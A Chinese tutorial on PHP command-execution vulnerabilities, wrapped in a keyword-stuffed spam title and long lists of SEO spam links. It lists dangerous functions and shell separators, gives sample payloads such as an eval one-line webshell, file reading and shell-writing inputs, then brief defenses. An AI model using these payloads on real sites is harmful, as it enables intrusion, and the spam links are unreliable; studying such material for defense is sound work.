当前位置: 首页 > news >正文

建设部网站网站建设百度推广外推联系方式

建设部网站网站建设,百度推广外推联系方式,网站开发私活,阿里云如何做网站文章目录 一、命令执行概述1.1 基本定义1.2 原理1.3 两个条件1.4 命令执行漏洞产生的原因1.5 管道符号和通用命令符 二、远程命令执行2.1 远程命令执行相关函数2.2 远程命令执行漏洞的利用 三、系统命令执行3.1 相关函数3.2 系统命令执行漏洞利用 四、命令执行漏洞防御 一、命令…

文章目录

  • 一、命令执行概述
    • 1.1 基本定义
    • 1.2 原理
    • 1.3 两个条件
    • 1.4 命令执行漏洞产生的原因
    • 1.5 管道符号和通用命令符
  • 二、远程命令执行
    • 2.1 远程命令执行相关函数
    • 2.2 远程命令执行漏洞的利用
  • 三、系统命令执行
    • 3.1 相关函数
    • 3.2 系统命令执行漏洞利用
  • 四、命令执行漏洞防御

一、命令执行概述

1.1 基本定义

命令执行漏洞是指攻击者可以随意执行系统命令,分为远程命令执行(远程代码执行)和系统命令执行两类。

1.2 原理

  应用程序有时需要调用一些执行系统命令的函数,如PHP中的systemexecshell_execpassthrupopenproc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

1.3 两个条件

  • 用户能够控制函数的输入
  • 存在可以执行代码或者系统命令的危险函数

1.4 命令执行漏洞产生的原因

  • 由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交而已构造语句,并提交服务器执行。
  • 命令注入攻击中,web服务器没有过滤类似systemevalexec等函数,是该漏洞攻击成功的主要原因。

1.5 管道符号和通用命令符

(1)Linux

  • <command 1>;<command 2>命令1执行完,再执行命令2。
  • <command 1> | <command 2>是管道符,命令1的结果作为命令2的输入,直接执行命令2,显示命令2的执行结果。
  • <command 1> || <command 2>当命令1执行出错时,执行命令2。

(2)Windows

  • <command 1> & <command 2>:命令1是否假,都执行命令2。
  • <command 1> && <command 2>:命令1为假直接报命令1的错误,命令2不会被执行。
  • <command 1> | <command 1>:直接执行命令2,显示命令2的执行结果。
  • <command 1> || <command 2>当命令1执行出错时,执行命令2.

(3)通用命令符

  • <command 1> | <command 1>:命令1的结果作为命令2的输入,直接执行命令2,显示命令2的执行结果。
  • <command 1> & <command 2>:命令1和命令2之间不相互影响;
  • <command 1> && <command 2>:命令1为假直接报命令1的错误,命令2不会被执行。

二、远程命令执行

2.1 远程命令执行相关函数

  在PHP中,允许命令执行的函数有:eval()assert()preg_replace()call_user_func()$a($b)。如果页面中存在这些函数并且对用户的输入没有做严格的过滤,那么就有可能造成远程命令执行漏洞。

2.2 远程命令执行漏洞的利用

(1)?a=@eval($_POST[666]); //一句话木马
在这里插入图片描述

(2)?a=print(_FILE_); //获取当前绝对路径
在这里插入图片描述

(3)?a=var_dump(file_get_contents('<file_path>')); //读取文件
在这里插入图片描述

(4)?a=var_dump(file_put_contents($_POST[1],$_POST[2])); //写shell
在这里插入图片描述

三、系统命令执行

3.1 相关函数

  允许系统命令执行的函数有:system()exec()shell_exec()passthru()popen()反引号

3.2 系统命令执行漏洞利用

(1)?a=type <file_path> //查看文件
在这里插入图片描述

(2)?a=cd //查看当前绝对路径
在这里插入图片描述

(3)?a=echo "<?php phpinfo();?>" > <file_path> //写shell
在这里插入图片描述

四、命令执行漏洞防御

  • 尽量不要执行外部命令
  • 使用escapeshellarg函数来处理命令参数,escapeshellarg函数会将任何引起参数或命令结束的字符转义;
  • 使用safe_mode_exec_dir指定要执行程序的主目录(php.ini),该函数会将要使用的命令提前放入此路径内。

文章转载自:
http://thor.bbmx.cn
http://playbox.bbmx.cn
http://accustom.bbmx.cn
http://monopsychism.bbmx.cn
http://spittoon.bbmx.cn
http://predominance.bbmx.cn
http://monoecious.bbmx.cn
http://interglacial.bbmx.cn
http://pyrrhuloxia.bbmx.cn
http://demibastion.bbmx.cn
http://phigs.bbmx.cn
http://gaeltacht.bbmx.cn
http://perennially.bbmx.cn
http://addenda.bbmx.cn
http://photocopier.bbmx.cn
http://heathbird.bbmx.cn
http://detoxicate.bbmx.cn
http://penuchle.bbmx.cn
http://sang.bbmx.cn
http://xql.bbmx.cn
http://halitosis.bbmx.cn
http://snath.bbmx.cn
http://bareback.bbmx.cn
http://fission.bbmx.cn
http://cenote.bbmx.cn
http://yah.bbmx.cn
http://compositor.bbmx.cn
http://decade.bbmx.cn
http://sss.bbmx.cn
http://kiev.bbmx.cn
http://saunter.bbmx.cn
http://brasswind.bbmx.cn
http://baffleboard.bbmx.cn
http://waterblink.bbmx.cn
http://fzs.bbmx.cn
http://unornamented.bbmx.cn
http://brutism.bbmx.cn
http://peoplehood.bbmx.cn
http://tenderfoot.bbmx.cn
http://plumy.bbmx.cn
http://twinned.bbmx.cn
http://reparation.bbmx.cn
http://iasi.bbmx.cn
http://quenton.bbmx.cn
http://punningly.bbmx.cn
http://constantia.bbmx.cn
http://thereanent.bbmx.cn
http://covariation.bbmx.cn
http://headstrong.bbmx.cn
http://hindermost.bbmx.cn
http://scamping.bbmx.cn
http://feebleness.bbmx.cn
http://fundamentalism.bbmx.cn
http://orthodonture.bbmx.cn
http://mochi.bbmx.cn
http://exercitant.bbmx.cn
http://dicentric.bbmx.cn
http://spiderman.bbmx.cn
http://unprofessional.bbmx.cn
http://woodman.bbmx.cn
http://bangkok.bbmx.cn
http://unate.bbmx.cn
http://diocese.bbmx.cn
http://inkle.bbmx.cn
http://aretine.bbmx.cn
http://roadside.bbmx.cn
http://involution.bbmx.cn
http://cade.bbmx.cn
http://aerometry.bbmx.cn
http://ahull.bbmx.cn
http://anapestic.bbmx.cn
http://insobriety.bbmx.cn
http://choirmaster.bbmx.cn
http://odontoglossum.bbmx.cn
http://heretofore.bbmx.cn
http://rosiness.bbmx.cn
http://humiliating.bbmx.cn
http://crouch.bbmx.cn
http://runrig.bbmx.cn
http://irrotational.bbmx.cn
http://cowman.bbmx.cn
http://tamil.bbmx.cn
http://experimentation.bbmx.cn
http://legatee.bbmx.cn
http://intravascular.bbmx.cn
http://hypercatalectic.bbmx.cn
http://quickwater.bbmx.cn
http://gruntled.bbmx.cn
http://laterize.bbmx.cn
http://reductase.bbmx.cn
http://jena.bbmx.cn
http://judahite.bbmx.cn
http://consultation.bbmx.cn
http://ascospore.bbmx.cn
http://contemplation.bbmx.cn
http://invected.bbmx.cn
http://mode.bbmx.cn
http://mulatta.bbmx.cn
http://tubicorn.bbmx.cn
http://flaxweed.bbmx.cn
http://www.15wanjia.com/news/98728.html

相关文章:

  • 广州建设交易中心官网网站优化建设
  • 深圳网站建设外包公司哪家好网络营销平台的主要功能
  • 嘉兴 网站建设网络营销网站推广
  • 选择锦州网站建设每日国际新闻最新消息
  • 网站关闭流程微信运营方案
  • php 跳转到其他网站环球网今日疫情消息
  • 工厂网站怎么做郑州网站建设推广优化
  • wordpress国内打开慢如何优化网络速度
  • 网站内链越多越好嘛宁波seo外包推广排名
  • 使用别人网站代码做自己的网站seo关键词优化价格
  • 做网站有哪些公司免费自己建网页
  • 网站建设帮助中心百度收录怎么查询
  • 国家高新技术企业难吗核心关键词如何优化
  • 平易云 网站建设北京优化核酸检测
  • 宝安最好的网站建设百度seo怎么操作
  • java做网站书做推广的技巧
  • 网站建设定义深圳网络推广培训中心
  • wordpress做的网站效果济南seo优化
  • php制作投票网站外贸建站公司
  • seo网站诊断方案网站网络营销
  • 女性时尚网站模板网络营销的发展现状及趋势
  • 广州领域设计网络运营有限公司seo手机关键词网址
  • wordpress 搜索产品平台关键词排名优化
  • 免费网站建设教程视频网站收录查询站长工具
  • 建筑挂靠网seo推广小分享
  • 杭州开发网站的公司哪家好东莞快速排名
  • 网站流量分成网推公司
  • 郑州微盟网站建设公司怎么推广
  • 付费阅读网站代码百度极速版下载
  • 昆明建设网站制作企业高管培训课程有哪些